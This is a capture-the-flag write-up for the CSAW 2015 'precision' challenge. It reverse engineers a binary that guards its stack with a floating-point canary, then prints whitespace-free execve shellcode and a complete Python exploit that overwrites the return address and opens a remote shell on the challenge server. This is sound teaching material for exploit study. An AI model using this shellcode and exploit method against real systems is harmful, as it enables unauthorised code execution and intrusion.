CSAW 2015 - precision (exploitables 100) Writeup
Hint:
nc 54.173.98.115 1259
‘precision’ comes off at first as a pretty simple stack smashing challenge, but it has a couple of interesting twists. The main thing that makes this challenge different from a run-of-the-mill stack smashing exploit is that the program uses a floating point number as a homegrown canary to detect stack smashing.
As with most pwnables, the first step to solving this is to start reverse engineering the binary. Let’s see what kind of binary we’re working with:
{language=python}
$ file precision
precision: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=929fc6f283d6f6c3c039ee19bc846e927103ebcd, not stripped
Neat! They didn’t bother stripping the symbols. Let’s disassemble the binary and see what we’ve got:
{language=objdump-nasm}
$ objdump -d -j .text -M intel precision_a8f6f0590c177948fe06c76a1831e650
[...]
0804851d <main>:
804851d: 55 push ebp
804851e: 89 e5 mov ebp,esp
8048520: 83 e4 f0 and esp,0xfffffff0
8048523: 81 ec a0 00 00 00 sub esp,0xa0
8048529: dd 05 90 86 04 08 fld QWORD PTR ds:0x8048690
804852f: dd 9c 24 98 00 00 00 fstp QWORD PTR [esp+0x98]
8048536: a1 40 a0 04 08 mov eax,ds:0x804a040
804853b: c7 44 24 0c 00 00 00 mov DWORD PTR [esp+0xc],0x0
8048542: 00
8048543: c7 44 24 08 02 00 00 mov DWORD PTR [esp+0x8],0x2
804854a: 00
804854b: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
8048552: 00
8048553: 89 04 24 mov DWORD PTR [esp],eax
8048556: e8 a5 fe ff ff call 8048400 <setvbuf@plt>
804855b: 8d 44 24 18 lea eax,[esp+0x18]
804855f: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048563: c7 04 24 78 86 04 08 mov DWORD PTR [esp],0x8048678
804856a: e8 41 fe ff ff call 80483b0 <printf@plt>
804856f: 8d 44 24 18 lea eax,[esp+0x18]
8048573: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048577: c7 04 24 82 86 04 08 mov DWORD PTR [esp],0x8048682
804857e: e8 8d fe ff ff call 8048410 <__isoc99_scanf@plt>
8048583: dd 84 24 98 00 00 00 fld QWORD PTR [esp+0x98]
804858a: dd 05 90 86 04 08 fld QWORD PTR ds:0x8048690
8048590: df e9 fucomip st,st(1)
8048592: dd d8 fstp st(0)
8048594: 7a 13 jp 80485a9 <main+0x8c>
8048596: dd 84 24 98 00 00 00 fld QWORD PTR [esp+0x98]
804859d: dd 05 90 86 04 08 fld QWORD PTR ds:0x8048690
80485a3: df e9 fucomip st,st(1)
80485a5: dd d8 fstp st(0)
80485a7: 74 18 je 80485c1 <main+0xa4>
80485a9: c7 04 24 85 86 04 08 mov DWORD PTR [esp],0x8048685
80485b0: e8 0b fe ff ff call 80483c0 <puts@plt>
80485b5: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
80485bc: e8 1f fe ff ff call 80483e0 <exit@plt>
80485c1: a1 30 a0 04 08 mov eax,ds:0x804a030
80485c6: 8d 54 24 18 lea edx,[esp+0x18]
80485ca: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
80485ce: 89 04 24 mov DWORD PTR [esp],eax
80485d1: e8 da fd ff ff call 80483b0 <printf@plt>
80485d6: c9 leave
80485d7: c3 ret
[...]
Turns out that having symbols didn’t really matter much, but it does allow us to quickly identify main. Now, while a decompiler does help speed up the reversing process, this function is simple enough that we can just read through the disassembly to figure out what’s going on:
main allocates a stack frame of 160 bytes (
sub esp,0xa0
).main loads an 8-byte double-precision floating point value (i.e. your standard ‘double’ type) from
ds:0x8048690
onto the stack at[esp+0x98]
.main calls printf and then scanf for a stack-allocated buffer starting at
[esp+0x18]
.After calling scanf, main does a floating point comparison between the double it loaded on the stack at
[esp+0x18]
and the value it loaded it from atds:0x8048690
.If the comparison fails, it prints a string (“Nope.") and then calls exit(1). This codepath will foil our stack smashing exploit, since we won’t be able to return from main.
From this, we can deduce the following:
We have a 128 byte buffer on the stack (from
[esp+0x98]
through[esp+0x18]
).main will print the location of this buffer (the printf call at 0x804856a)
main does an uncontrolled scanf, reading an arbitrary-length string from the user.
main also verifies its custom homemade canary, a double value that it places on the stack before the char buffer.
So this double value is important. What is it?
{language=python}
$ objdump -s --start-address=0x8048690 -j .rodata -M intel precision_a8f6f0590c177948fe06c76a1831e650
precision_a8f6f0590c177948fe06c76a1831e650: file format elf32-i386
Contents of section .rodata:
8048690 a5315a47 55155040 .1ZGU.P@
Accounting for little-endian encoding, our floating point canary is 0x40501555475a31a5, or 64.33333.
So now that we know what the canary is, we can overflow the stack buffer with the following python script:
{language=python}
python -c "import struct; print 128*'A' + struct.pack('<d', 64.33333) + 512*'A'"
This allows us to bypass the canary and trash EIP.
Since the binary is so kind as to print the address of the vulnerable stack buffer (i.e. the address of our shellcode), we can just dump our shellcode into the buffer and then overwrite EIP to jump into that buffer. Seems simple enough.
However, there is one subtle trick here! Note that scanf stops when it encounters any byte that is an ASCII whitespace char. So we must be careful to ensure that our shellcode does not contain any whitespace bytes!
Starting with some standard stack smashing shellcode (I used http://shell-storm.org/shellcode/files/shellcode-811.php), and running it through an x86 assembler (such as https://defuse.ca/online-x86-assembler.htm), we have the following shellcode to work with:
{language=objdump-nasm}
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx,esp
f: 89 c1 mov ecx,eax
11: 89 c2 mov edx,eax
13: b0 0b mov al,0xb
15: cd 80 int 0x80
17: 31 c0 xor eax,eax
19: 40 inc eax
1a: cd 80 int 0x80
Well, that ‘0x0b’ byte is gonna be problematic: in ASCII, that’s a vertical tab character, which will make scanf stop reading our payload. We can’t have that, so let’s get around this using some math!
Instead of mov al, 0xb
, let’s just use two large values whose difference is 0xb (such as, oh I dunno, 0x7ffffffb and 0x7ffffff0). This way, the assembled shellcode won’t actually contain an ‘0xb’ byte and will be whitespace free.
Here’s the final shellcode:
{language=objdump-nasm}
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx,esp
f: 89 c1 mov ecx,eax
11: 89 c2 mov edx,eax
13: b8 fb ff ff 7f mov eax,0x7ffffffb
18: 2d f0 ff ff 7f sub eax,0x7ffffff0
1d: cd 80 int 0x80
1f: 31 c0 xor eax,eax
21: 40 inc eax
22: cd 80 int 0x80
We can then deploy the shellcode as the payload for our python exploit script:
{language=python}
1 # -*- coding: utf8 -*-
2 import socket, string, struct, sys, telnetlib, time
3
4 def i_send(sock, msg):
5 sock.send(msg + '\n')
6 print "SEND >>>", msg
7
8 def i_recv(sock):
9 data = sock.recv(8888)
10 for line in data.split('\n'):
11 print "<<< RECV", line
12 return data
13
14 s = socket.create_connection(('54.173.98.115', '1259'))
15
16 buf_addr = i_recv(s).split(' ')[1] # We're gonna get "Buff: 0xdeadbeef"
17 buf_addr = int(buf_addr, 0)
18 print "Got buffer addresss: 0x%x" % (buf_addr)
19
20 shellcode = ("\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x89" +
21 "\xC1\x89\xC2\xB8\xFB\xFF\xFF\x7F\x2D\xF0\xFF\xFF\x7F\xCD\x80\x31" +
22 "\xC0\x40\xCD\x80")
23 buf_contents = shellcode + '\x90' * (128 - len(shellcode))
24 payload = (buf_contents +
25 struct.pack('<d', 64.33333) +
26 'A' * 8 + # padding ¯\_(ツ)_/¯
27 'A' * 4 + # saved ebp
28 struct.pack('<I', buf_addr)) # saved eip
29
30 i_send(s, payload)
31
32 t = telnetlib.Telnet()
33 t.sock = s
34 t.interact()
And then we win:
{language=python}
$ python ./exploit.py
<<< RECV Buff: 0xffb7a938
<<< RECV
Got buffer addresss: 0xffb7a938
SEND >>> 1�Ph//shh/bin����¸���-���̀1�@̀���������������������������������������������������������������������������������������������1ZGUP@AAAAAAAAAAAA8���
Got 1�Ph//shh/bin����¸��-��̀1�@̀���������������������������������������������������������������������������������������������1ZGUP@AAAAAAAAAAAA8��
ls
flag
precision_a8f6f0590c177948fe06c76a1831e650
cat flag
flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}